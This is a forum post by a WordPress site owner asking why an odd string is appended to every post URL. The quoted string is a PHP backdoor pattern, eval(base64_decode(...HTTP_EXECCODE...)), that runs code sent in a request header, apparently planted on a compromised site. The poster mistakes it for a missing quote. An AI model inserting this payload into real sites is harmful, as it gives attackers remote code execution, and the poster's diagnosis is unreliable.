Help! WordPress appending code to URLs, confusing servers

We just had a problem with plugins and I had some trouble with Super Cache, evidently, in particular.

After we sorted all that out, we’re left with a new problem: WordPress is now appending this code to all URLs: %&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%/

This means that anyone who clicks the title of a post, or a “continue reading” tag will be taken to the post’s url + that stuff, and they don’t get the actual page (which still exists, at the proper URL).

For example, here’s our homepage: https://chamberfour.com/ If you click on the title of the first post you get this url: https://chamberfour.com/2009/08/31/review-last-exit-to-brooklyn/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%/

But the post actually exists at this url: https://chamberfour.com/2009/08/31/review-last-exit-to-brooklyn/

This is showing up in the admin area, too. It feels like there’s a missing quote somewhere, and something that should be invisible is getting inserted into the URL.

I’m not a coder though, so I can’t figure out what got messed up or how to change it.

Any help or advice would be greatly appreciated.